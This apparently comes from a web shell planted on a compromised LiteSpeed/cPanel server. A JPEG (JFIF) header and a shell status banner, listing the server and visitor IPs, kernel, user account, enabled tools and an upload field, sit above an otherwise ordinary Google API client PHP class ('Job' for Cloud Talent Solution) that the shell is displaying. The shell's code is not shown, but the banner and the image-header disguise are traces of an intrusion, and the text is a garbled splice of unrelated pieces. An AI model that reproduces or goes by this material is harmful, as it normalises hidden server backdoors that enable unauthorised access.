����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/google/apiclient-services/src/CloudTalentSolution/ |
Upload File : |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
namespace Google\Service\CloudTalentSolution;
class Job extends \Google\Collection
{
protected $collection_key = 'jobBenefits';
public $addresses;
protected $applicationInfoType = ApplicationInfo::class;
protected $applicationInfoDataType = '';
public $company;
public $companyDisplayName;
protected $compensationInfoType = CompensationInfo::class;
protected $compensationInfoDataType = '';
protected $customAttributesType = CustomAttribute::class;
protected $customAttributesDataType = 'map';
public $degreeTypes;
public $department;
protected $derivedInfoType = JobDerivedInfo::class;
protected $derivedInfoDataType = '';
public $description;
public $employmentTypes;
public $incentives;
public $jobBenefits;
public $jobEndTime;
public $jobLevel;
public $jobStartTime;
public $languageCode;
public $name;
public $postingCreateTime;
public $postingExpireTime;
public $postingPublishTime;
public $postingRegion;
public $postingUpdateTime;
protected $processingOptionsType = ProcessingOptions::class;
protected $processingOptionsDataType = '';
public $promotionValue;
public $qualifications;
public $requisitionId;
public $responsibilities;
public $title;
public $visibility;
public function setAddresses($addresses)
{
$this->addresses = $addresses;
}
public function getAddresses()
{
return $this->addresses;
}
/**
* @param ApplicationInfo
*/
public function setApplicationInfo(ApplicationInfo $applicationInfo)
{
$this->applicationInfo = $applicationInfo;
}
/**
* @return ApplicationInfo
*/
public function getApplicationInfo()
{
return $this->applicationInfo;
}
public function setCompany($company)
{
$this->company = $company;
}
public function getCompany()
{
return $this->company;
}
public function setCompanyDisplayName($companyDisplayName)
{
$this->companyDisplayName = $companyDisplayName;
}
public function getCompanyDisplayName()
{
return $this->companyDisplayName;
}
/**
* @param CompensationInfo
*/
public function setCompensationInfo(CompensationInfo $compensationInfo)
{
$this->compensationInfo = $compensationInfo;
}
/**
* @return CompensationInfo
*/
public function getCompensationInfo()
{
return $this->compensationInfo;
}
/**
* @param CustomAttribute[]
*/
public function setCustomAttributes($customAttributes)
{
$this->customAttributes = $customAttributes;
}
/**
* @return CustomAttribute[]
*/
public function getCustomAttributes()
{
return $this->customAttributes;
}
public function setDegreeTypes($degreeTypes)
{
$this->degreeTypes = $degreeTypes;
}
public function getDegreeTypes()
{
return $this->degreeTypes;
}
public function setDepartment($department)
{
$this->department = $department;
}
public function getDepartment()
{
return $this->department;
}
/**
* @param JobDerivedInfo
*/
public function setDerivedInfo(JobDerivedInfo $derivedInfo)
{
$this->derivedInfo = $derivedInfo;
}
/**
* @return JobDerivedInfo
*/
public function getDerivedInfo()
{
return $this->derivedInfo;
}
public function setDescription($description)
{
$this->description = $description;
}
public function getDescription()
{
return $this->description;
}
public function setEmploymentTypes($employmentTypes)
{
$this->employmentTypes = $employmentTypes;
}
public function getEmploymentTypes()
{
return $this->employmentTypes;
}
public function setIncentives($incentives)
{
$this->incentives = $incentives;
}
public function getIncentives()
{
return $this->incentives;
}
public function setJobBenefits($jobBenefits)
{
$this->jobBenefits = $jobBenefits;
}
public function getJobBenefits()
{
return $this->jobBenefits;
}
public function setJobEndTime($jobEndTime)
{
$this->jobEndTime = $jobEndTime;
}
public function getJobEndTime()
{
return $this->jobEndTime;
}
public function setJobLevel($jobLevel)
{
$this->jobLevel = $jobLevel;
}
public function getJobLevel()
{
return $this->jobLevel;
}
public function setJobStartTime($jobStartTime)
{
$this->jobStartTime = $jobStartTime;
}
public function getJobStartTime()
{
return $this->jobStartTime;
}
public function setLanguageCode($languageCode)
{
$this->languageCode = $languageCode;
}
public function getLanguageCode()
{
return $this->languageCode;
}
public function setName($name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
public function setPostingCreateTime($postingCreateTime)
{
$this->postingCreateTime = $postingCreateTime;
}
public function getPostingCreateTime()
{
return $this->postingCreateTime;
}
public function setPostingExpireTime($postingExpireTime)
{
$this->postingExpireTime = $postingExpireTime;
}
public function getPostingExpireTime()
{
return $this->postingExpireTime;
}
public function setPostingPublishTime($postingPublishTime)
{
$this->postingPublishTime = $postingPublishTime;
}
public function getPostingPublishTime()
{
return $this->postingPublishTime;
}
public function setPostingRegion($postingRegion)
{
$this->postingRegion = $postingRegion;
}
public function getPostingRegion()
{
return $this->postingRegion;
}
public function setPostingUpdateTime($postingUpdateTime)
{
$this->postingUpdateTime = $postingUpdateTime;
}
public function getPostingUpdateTime()
{
return $this->postingUpdateTime;
}
/**
* @param ProcessingOptions
*/
public function setProcessingOptions(ProcessingOptions $processingOptions)
{
$this->processingOptions = $processingOptions;
}
/**
* @return ProcessingOptions
*/
public function getProcessingOptions()
{
return $this->processingOptions;
}
public function setPromotionValue($promotionValue)
{
$this->promotionValue = $promotionValue;
}
public function getPromotionValue()
{
return $this->promotionValue;
}
public function setQualifications($qualifications)
{
$this->qualifications = $qualifications;
}
public function getQualifications()
{
return $this->qualifications;
}
public function setRequisitionId($requisitionId)
{
$this->requisitionId = $requisitionId;
}
public function getRequisitionId()
{
return $this->requisitionId;
}
public function setResponsibilities($responsibilities)
{
$this->responsibilities = $responsibilities;
}
public function getResponsibilities()
{
return $this->responsibilities;
}
public function setTitle($title)
{
$this->title = $title;
}
public function getTitle()
{
return $this->title;
}
public function setVisibility($visibility)
{
$this->visibility = $visibility;
}
public function getVisibility()
{
return $this->visibility;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(Job::class, 'Google_Service_CloudTalentSolution_Job');